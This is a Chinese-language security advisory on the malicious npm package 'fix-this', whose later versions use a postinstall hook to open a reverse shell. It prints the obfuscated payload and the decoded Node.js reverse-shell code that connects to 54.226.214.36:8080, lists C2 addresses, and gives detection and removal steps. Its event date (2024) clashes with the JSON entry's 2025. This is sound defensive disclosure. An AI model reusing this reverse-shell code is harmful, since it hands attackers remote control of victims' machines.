SBOM情报概述
Summary
上周(2024.01.08),悬镜供应链安全情报中心在NPM官方仓库(www.npmjs.com)中捕获一起针对NodeJS开发者开展远控攻击的组件投毒事件。投毒者在连续发布多达26个正常版本的 fix-this NPM包之后,在最近4个版本中(3.0.9; 3.1.9; 3.2.1; 3.2.3)正式将混淆的反向shell远控的恶意代码植入到该组件中进行远控投毒攻击。
fix-this恶意NPM包
截至目前,该恶意组件包仍正常托管在NPM官方仓库以及国内主流NPM镜像源,对于NPM开发者来说存在较大安全隐患。此外,根据NPM官方接口统计,fix-this恶意NPM包总下载量为2179次。悬镜安全已于第一时间将该投毒恶意包的详细技术分析向XSBOM供应链安全情报订阅用户进行推送预警。
fix-this恶意包总下载量
投毒分析
Poisoning Analysis
fix-this NPM组件包在3.0.9及之后的版本中 lib/utils/connectionUtils.js 代码文件的 validateSystemResultsV2() 函数被投毒者植入混淆恶意代码,恶意代码主要功能用于执行反向shell远控,针对目前已投放的4个版本恶意包中,涉及到的远控服务器地址及端口如下所示。
远控IP |
远控端口 |
54.226.214.36 | 8080 |
54.174.228.222 | 8080 |
3.91.223.142 | 8080 |
107.21.170.197 | 8080 |
1
代码混淆
以 fix-this 最新版本3.2.3为例,组件包package.json中通过配置scripts postinstall指令实现组件安装过程中执行 "node lib/utils/postinstall.js" 。
package.json 定义 postinstall 恶意指令
lib/utils/postinstall.js 文件如下所示,其主要功能是调用 connectionUtils 模块(lib/utils/connectionUtils.js)的 validateSystemResults 及 validateSystemResultsV2 函数进行相关校验操作。
postinstall.js 文件代码
lib/utils/connectionUtils.js 代码文件的validateSystemResultsV2 函数已经被攻击者植入混淆的恶意代码。
validateSystemResultsV2 函数
validateSystemResultsV2 函数中的混淆代码如下所示:
function _0x2057(_0x1829df,_0x3f03dc){var _0x5ca86c=_0x5ca8();return _0x2057=function(_0x2057b2,_0x3d1488){_0x2057b2=_0x2057b2-0x84;var _0x5a534d=_0x5ca86c[_0x2057b2];return _0x5a534d;},_0x2057(_0x1829df,_0x3f03dc);}var _0x13cf3b=_0x2057;(function(_0x4992cf,_0x2f1494){var _0x4bbf83=_0x2057,_0x29c35c=_0x4992cf();while(!![]){try{var _0x3636ce=parseInt(_0x4bbf83(0x86))/0x1+-parseInt(_0x4bbf83(0x8a))/0x2*(parseInt(_0x4bbf83(0x8b))/0x3)+parseInt(_0x4bbf83(0x8e))/0x4+-parseInt(_0x4bbf83(0x90))/0x5*(parseInt(_0x4bbf83(0x85))/0x6)+-parseInt(_0x4bbf83(0x84))/0x7+-parseInt(_0x4bbf83(0x89))/0x8+parseInt(_0x4bbf83(0x8c))/0x9;if(_0x3636ce===_0x2f1494)break;else _0x29c35c['push'](_0x29c35c['shift']());}catch(_0x57e360){_0x29c35c['push'](_0x29c35c['shift']());}}}(_0x5ca8,0xb27a1));function _0x5ca8(){var _0x1d3d55=['spawn','ignore','1912848LiJbyL','118058INcfKg','33BmgaJm','3039138ZhLTOG','x0ax20x20x20x20(function(){x0ax20x20x20x20x20x20varx20netx20=x20require(x22netx22),x0ax20x20x20x20x20x20x20x20x20x20cpx20=x20require(x22child_processx22),x0ax20x20x20x20x20x20x20x20x20x20shx20=x20cp.spawn(x22/bin/shx22,x20[],x20{x20stdio:x20[x27pipex27,x20x27pipex27,x20x27pipex27]x20});x0ax20x20x20x20x20x20varx20clientx20=x20newx20net.Socket();x0ax20x20x20x20x20x20client.connect(8080,x20x2254.226.214.36x22,x20function(){x0ax20x20x20x20x20x20x20x20client.pipe(sh.stdin);x0ax20x20x20x20x20x20x20x20sh.stdout.pipe(client);x0ax20x20x20x20x20x20x20x20sh.stderr.pipe(client);x0ax20x20x20x20x20x20});x0ax20x20x20x20})();x0ax20x20','5496360mmtRSt','execPath','4985245oSRztn','3850931TfscMo','6YqPuPd','1454876IJOzMs'];_0x5ca8=function(){return _0x1d3d55;};return _0x5ca8();}var cp=require('child_process');cp[_0x13cf3b(0x87)](process[_0x13cf3b(0x8f)],['-e',_0x13cf3b(0x8d)],{'detached':!![],'stdio':_0x13cf3b(0x88)})['unref']();
2
反向shell远控
对混淆代码进行还原后,发现其主要功能是调用child_process模块执行 node -e 来动态执行一段经典的反向shell远控nodejs代码。
混淆代码还原
反向shell远控nodejs代码如下所示,当前版本恶意包使用的shell远控服务器IP为:54.226.214.36,远控端口为8080。
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", [], { stdio: ['pipe', 'pipe', 'pipe'] });
var client = new net.Socket();
client.connect(8080, "54.226.214.36", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
})();
一旦开发者安装fix-this恶意包时,将自动触发执行validateSystemResultsV2 函数中的反向shell远控代码,导致系统被投毒者远程控制。如下图所示,通过本地模拟投毒者远控服务器IP(下图左侧)进行验证,当受害者(下图右侧)安装该恶意组件时,攻击者将获取受害者系统的远控权限。
本地反向shell远控验证
3
IoC 数据
本次捕获的fix-this NPM投毒包涉及的恶意IoC数据如下表所示:
排查方式
Investigation Method
开发者可通过命令 npm list fix-this在项目目录下使用查询是否已安装存在恶意投毒版本(3.0.9; 3.1.9; 3.2.1; 3.2.3)的组件,如果已安装请立即使用 npm uninstall fix-this 进行卸载。此外还需关闭系统网络并排查系统是否存在异常进程。
此外,也可使用 OpenSCA-cli 工具将受影响的组件包按如下示例保存为db.json文件,直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。
[
{
"product": "fix-this",
"version": "[3.0.9, 3.1.9, 3.2.1, 3.2.3]",
"language": "javascript",
"id": "XMIRROR-MAL45-92505BB",
"description": "恶意NPM组件fix-this开展远控投毒攻击",
"release_date": "2025-01-08"
}
]
悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心。依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力,悬镜云脉XSBOM数字供应链安全情报预警服务通过对全球数字供应链投毒情报、漏洞情报、停服断供情报等进行实时动态监测与溯源分析,可为用户智能精准预警“与我有关”的数字供应链安全情报,提供情报查询、情报订阅、可视化关联分析等企业级服务。
+
原文始发于微信公众号(悬镜安全):供应链风险情报预警 | 恶意NPM包(fix-this)开展反向shell远控投毒
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论